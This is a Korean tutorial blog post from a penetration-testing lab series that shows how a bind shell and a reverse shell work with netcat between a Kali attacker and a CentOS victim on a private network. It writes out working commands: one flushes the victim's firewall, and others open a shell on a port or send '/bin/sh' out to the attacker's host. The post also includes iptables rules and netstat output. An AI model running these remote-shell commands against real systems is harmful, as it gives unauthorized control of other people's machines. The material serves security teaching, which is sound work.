Linux/모의해킹

[Linux] Bind Shell & Reverse Shell

GGkeeper 2021. 11. 10. 04:03

실습> bind shell 이해하기

bind shell은 bind connection 을 기반으로 Victim에서 포트를 열고 뒤에서 쉘이 대기하고 있다가
Attacker가 Victim으로 접속하면 쉘이 실행되는 공격 형태이다.

Attacker(Kali) : 192.168.50.200
Victim(CentOS) : 192.168.50.100

Linux 버전

  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |          |
|  33058 ----------------> 8000 [/bin/sh]
|          |          |          |
|          |          |          |
+----------+          +----------+
192.168.50.200       192.168.50.100
                       iptables -F

bind shell의 조건 : 
Victim에 방화벽이 비활성화 되어 있어야 한다.
(방화벽이 있다면 Victim에서 포트를 열었지만 Attacker가 접속할 수 없는 상황이 된다.)
- Victim에 포트를 열고 뒤에 쉘(/bin/sh)이 대기하고 있어야 한다.

1. Victim 방화벽 해제
Victim# iptables -F

2. Victim 포트 오픈
Victim# nc -lvp 8000 -e /bin/sh

3. Attacker 에서 접속
Attakcer# nc 192.168.50.100 8000

4. 포트 확인
Victim# netstat -natp | grep 8000
tcp        0      0 192.168.50.100:8000    192.168.50.200:33058   ESTABLISHED 7033/sh   

Attacker# netstat -natp | grep 8000
tcp        0      0 192.168.50.200:33058   192.168.50.100:8000    ESTABLISHED

5. 명령어 사용
Victim# nc 192.168.50.100 8000
pwd
ls
id
ip a


실습> reverse shell 이해하기

reverse shell은 reverse connection 을 기반으로 Attacker에서 포트를 열고 대기하고 있다가
Victim이 Attacker로 접속할 때 쉘을 가지고 나가면 연결 후에 Victim의 쉘이 실행되는 공격 형태이다.

Attacker(Kali) : 192.168.50.200
Victim(CentOS) : 192.168.50.100

Linux 버전

  Attacker               Victim
+----------+        | +----------+
|          |        | |          |
|          |        | |          |
|   8000 <----------|----- 46610 [/bin/sh]
|          |        | |          |
|          |        | |          |
+----------+        | +----------+
192.168.50.200       192.168.50.100
                      iptables 활성화

reverse shell의 조건 : 
- Victim에 방화벽이 활성화(Inbound 쪽) 되어 있어도 상관없다.
- Victim에 방화벽이 Outbound 쪽도 설정되어 있다면 연결이 안될 수 있다.
- Victim에 방화벽이 있어도 Attacker에서 포트를 열었기 때문에 Attacker로 접속할 수 있는 상황이 된다.
- Victim이 Attacker로 연결할 때 쉘(/bin/sh)을 가지고 나가야 한다.

1. Victim 방화벽 활성화
방화벽의 Inbound 쪽의 INPUT 체인만 방화벽 룰을 설정한다.
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --sport 22 -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -j DROP

victim# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp spt:22
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0
DROP       all  --  0.0.0.0/0            0.0.0.0/0

2. Attacker 포트 오픈
Attacker# nc -lvp 8000

3. Victim 에서 접속
Victim# nc 192.168.50.200 8000 -e /bin/sh

4. 포트 확인
Victim# netstat -natp | grep 8000
tcp        0      0 192.168.50.100:46610   192.168.50.200:8000    ESTABLISHED 7084/sh   

Attacker# netstat -natp | grep 8000
tcp        0      0 192.168.50.200:8000    192.168.50.100:46610   ESTABLISHED 38371/nc

5. 명령어 사용
Attacker# nc -lvp 8000
pwd
ls
id
ip a